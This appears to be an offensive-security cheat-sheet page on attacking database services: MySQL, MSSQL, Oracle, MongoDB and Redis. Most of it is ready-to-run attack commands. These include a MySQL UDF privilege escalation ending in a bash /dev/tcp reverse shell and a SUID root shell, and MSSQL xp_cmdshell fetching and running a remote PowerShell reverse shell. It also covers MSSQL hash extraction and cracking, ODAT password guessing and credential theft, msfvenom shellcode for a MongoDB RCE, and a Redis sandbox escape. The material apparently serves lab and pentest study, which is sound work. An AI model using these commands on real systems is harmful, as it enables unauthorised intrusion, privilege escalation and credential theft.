Howlsec
HOWLSEC
offensive security
// notes/ Service Enumeration
🗄️

Database Services (MySQL, MSSQL, Oracle, MongoDB)

Enumerating and attacking database services on 3306/1433/1521/27017.

#mysql#mssql#oracle#mongodb#services

Database Services (MySQL, MSSQL, Oracle, MongoDB, Redis)

MySQL

Install a client if you don't have one:

🐺 howlsec@kali
$sudo apt install default-mysql-client

Log in to the MySQL server:

🐺 howlsec@kali
$mysql -h 10.10.36.102 -u root -p

Enumerate databases, tables, variables, and dump a table:

🐺 howlsec@kali
01show databases;
02use mysql;
03show tables;
04show variables;
05SELECT * FROM users;

MySQL 4.x / 5.0 — UDF local privesc

Works on MySQL 4.x/5.0 when you have root DB access — check the version first. Exploit: https://www.exploit-db.com/exploits/1518

Save the exploit source, then compile it into a shared object:

🐺 howlsec@kali
$gcc -g -c raptor_udf2.c
$gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Log into MySQL and load the UDF from the compiled library:

🐺 howlsec@kali
01use mysql;
02create table foo(line blob);
03insert into foo values(load_file('/home/j0hn/sss/raptor_udf2.so'));
04select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
05create function do_system returns integer soname 'raptor_udf2.so';
06select * from mysql.func;

Execute a command as the MySQL user (root) — reverse shell:

🐺 howlsec@kali
01select do_system('bash -i >& /dev/tcp/192.168.119.198/443 0>&1');

Or make a SUID /bin/sh copy instead, then run it as root:

🐺 howlsec@kali
01select do_system('cp /bin/sh /tmp/bashroot; chmod +s /tmp/bashroot');
🐺 howlsec@kali
$/tmp/bashroot -p
$id

MSSQL

Payloads reference: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md

Connect with impacket (try Windows auth too):

🐺 howlsec@kali
$impacket-mssqlclient -db volume -windows-auth disco/"":""@10.11.1.13
$mssqlclient.py RALPH/sa:poiuytrewq@10.11.1.43
$mssqlclient.py RALPH/sa:poiuytrewq@10.11.1.43 -windows-auth

Enable and use xp_cmdshell to run OS commands (here, fetch and run a PowerShell reverse shell):

🐺 howlsec@kali
01enable_xp_cmdshell
02xp_cmdshell powershell iex (iwr -usebasicparsing http://192.168.119.156/rev2.ps1)

Basic enumeration queries:

🐺 howlsec@kali
01SELECT name FROM master..sysdatabases;
02USE <dbname>;
03SELECT table_name FROM information_schema.tables;
04SELECT * FROM <whatever_table>;

Extracting master.mdf hashes

Reference: https://pentestsector.com/docs/1.0/services/1443-mssql. Check the SQL version first, then look in the common locations:

🐺 howlsec@kali
01C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\DATA\master.mdf
02C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\backup\master.mdf
03C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\Backup\master.mdf

Parse the .mdf offline with OrcaMDF to pull the hashes (tool: https://github.com/xpn/Powershell-PostExploitation):

🐺 howlsec@kali
$Add-Type -Path 'OrcaMDF.RawCore.dll'
$Add-Type -Path 'OrcaMDF.Framework.dll'
$import-module .\Get-MDFHashes.ps1
$Get-MDFHashes -mdf "C:\Users\admin\Desktop\master.mdf"

Crack the recovered hashes:

🐺 howlsec@kali
$john sa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Oracle DB (ODAT)

References: https://infinitelogins.com/2020/12/03/pentesting-oracle-databases-with-odat/ https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573

Install ODAT:

🐺 howlsec@kali
$sudo apt install odat -y

Guess the SID, then guess passwords, then dump credentials:

🐺 howlsec@kali
$odat sidguesser -s 10.11.1.222
$odat passwordguesser -d XE -s 10.11.1.222
$odat stealremotepwds -U 'web_app' -P dsfdfoj435GEre4 -d XE -s 10.11.1.222 --get-all-passwords

Log in with sqlplus and check your privileges:

🐺 howlsec@kali
$sqlplus 'web_app'/'dsfdfoj435GEre4'@10.11.1.222:1521/xe
$sqlplus 'web_app'/test123@10.11.1.222:1521/xe as sysdba
🐺 howlsec@kali
01select * from session_privs;

If the apt sqlplus doesn't work, install Instant Client manually: https://zwbetz.com/install-sqlplus-on-linux/#sqlplus-version-193000

MongoDB 2.2.3 — RCE

Exploit: https://www.exploit-db.com/exploits/24947. Generate the shellcode the exploit expects and start a listener:

🐺 howlsec@kali
$msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.198 LPORT=443 -f js_le -e generic/none
$rlwrap nc -lvnp 443

Find the correct injection prefix before the payload (here it was ';), then run the exploit to catch your shell.

MariaDB

References: https://packetstormsecurity.com/files/162177/MariaDB-10.2-Command-Execution.html (needs root SQL creds) https://www.thehackingcoach.com/mariadb-tutorial/

Redis

References: https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

Connect to the Redis instance:

🐺 howlsec@kali
$redis-cli -h vulnnet.local

Read a file on the target via a Lua sandbox escape:

🐺 howlsec@kali
$EVAL "dofile('C:\\Users\\enterprise-security\\Desktop\\user.txt')" 0

Dump the full config (can leak useful paths/creds):

🐺 howlsec@kali
$config get *